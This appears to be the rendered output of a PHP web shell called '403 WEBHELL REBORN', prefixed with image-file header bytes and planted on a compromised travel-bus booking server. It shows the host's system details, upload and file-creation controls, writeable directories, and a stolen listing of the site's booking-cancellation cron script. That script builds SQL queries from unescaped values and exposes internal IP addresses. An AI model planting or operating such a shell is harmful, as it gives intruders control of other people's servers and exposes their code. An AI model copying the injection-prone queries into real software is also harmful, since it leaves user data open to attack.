ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/api/tk_api_cancel_cron.php
<?php
	header("Content-Type: application/json");
	$g4_path = "..";

	include "common.php"; // API Common
	include "../admin/_common.php"; // Admin Common

	/*******************************************************************/
	// TK에서 취소된 건을 짚라인에 반영                                 //
	// FLOW : TK >> Zipline                                                //
	// CALL :  crontab                                                        //
	/*******************************************************************/

	// 개발 모드 설정 ★ 실제 운영 시 주의 ★
	$allow_addr = array(
		'119.67.250.2033', // 집
		'14.6.87.1933' // TK사무실
	);
	if(in_array($_SERVER['REMOTE_ADDR'], $allow_addr) == true){
		define('DEV_MODE', '1');
		echo "###############################\n";
		echo "########## 개발 모드 ##########\n";
		echo "###############################\n";
	} else {
		define('DEV_MODE', '0');
	}

	// 시작일시설정
	$cron_stime = "2022-03-26 00:01:00";

	echo ("===== TKPLACE - ZIPLINE : CANCEL API START =====\n");
	Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "API START"), 'cancel', 'tk/'.date('Ym'));

	// 주문취소조회 쿼리
	$path = "/orders/list-cancel";

	$searchStartDate = date('Y-m-d', strtotime("-1 days"));
	$call_data = array(
		'limit'					=> 1000,
	);

	$result = call($path, $call_data);
	$data = array();

	//if(DEV_MODE){ p($result); }
	echo "\nDATA TOTAL : " . count($result['data']['dataCancelOrder']) . "\n\n";

	if(DEV_MODE){ echo "##################### STEP 1 : 데이터 예약건별로 처리\n"; }

	foreach($result['data']['dataCancelOrder'] as $k => $v){

		if(DEV_MODE){ echo "##################### STEP 2 : 예약{$k}\n"; }

		// 시작시간
		if($v['res_date_time'] <= $cron_stime) continue;

		// 상태 체크
		if($v['status'] != 'H'){
			if(DEV_MODE){ p("취소 예약이 아님."); }
			Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "취소 예약이 아님."), 'cancel', 'tk/'.date('Ym'));
			continue;
		}

		// TK 예약번호
		$order_code = $v['rsv_no'];
		if(DEV_MODE){ echo "\n★★ ORDER ID : " . $order_code . " ===> "; }

		// Res Check
		$row_res = sql_fetch("select * from {$write_table} where tk_res_no = '{$order_code}'");
		$res_id = $row_res['res_id'];
		if($order_code == '' || !$row_res || !$res_id){
			if(DEV_MODE){ echo "예약건이 없음" . $order_code . " / " . $res_no; }
			Log::save(sprintf("%s(%d) %s %s", __FILE__, __LINE__, "예약건이 없음 : " . $order_code, $res_no), 'cancel', 'tk/'.date('Ym'));
			continue;
		}

		if($row_res['res_cancel'] == 'Y'){
			if(DEV_MODE){ echo "이미 취소된 예약건" . $order_code . " / " . $res_no; }
			Log::save(sprintf("%s(%d) %s %s", __FILE__, __LINE__, "이미 취소된 예약건 : " . $order_code, $res_no), 'cancel', 'tk/'.date('Ym'));
			continue;
		}

		if(DEV_MODE){ echo "\n\n★★ 예약 취소 시작\n"; }

		// 예약 취소
		// 1. 인원 0명으로 변경처리 후 단체명 앞에 기재
		// 2. 예약시간 18:45으로 변경 (안함)
		// 3. 최종금액 0원 처리, 선금 0원 처리
		// 4. res_cancel 값 변경
		$cancel_msg = " TK 취소처리" . $row_res['res_content'];
		$res_subject = "(".$row_res['res_inwon'].")".$row_res['res_subject'];
		$sql = "
			UPDATE {$write_table} SET 
				res_cancel = 'Y', 
				res_subject = '{$res_subject}',
				res_content = '{$cancel_msg}', 
				res_inwon = 0,
				res_amount = 0,
				res_pri = 0,
				res_cancel_dt = now() 
				where res_id = '{$res_id}'
				limit 1";

		if(DEV_MODE){ p($sql); }

		// DB 처리
		if(DEV_MODE == 0){

			if(DEV_MODE){ p("DB Process..."); }
			Log::save(sprintf("%s(%d) DB Update Process  : %s", __FILE__, __LINE__, $sql), 'cancel', 'tk/'.date('Ym'));
			sql_query($sql);

			// TK API 연동 행사인원정보 DB 기록 220508
			insert_reserve_count($site_id, $res_sdate, $res_time, 'API_CANCEL', $res_id);

			echo "{$res_id} ■ ";
		}

	}

	echo "\nEND";

	#######################################################################



	?>




Anon7 - 2021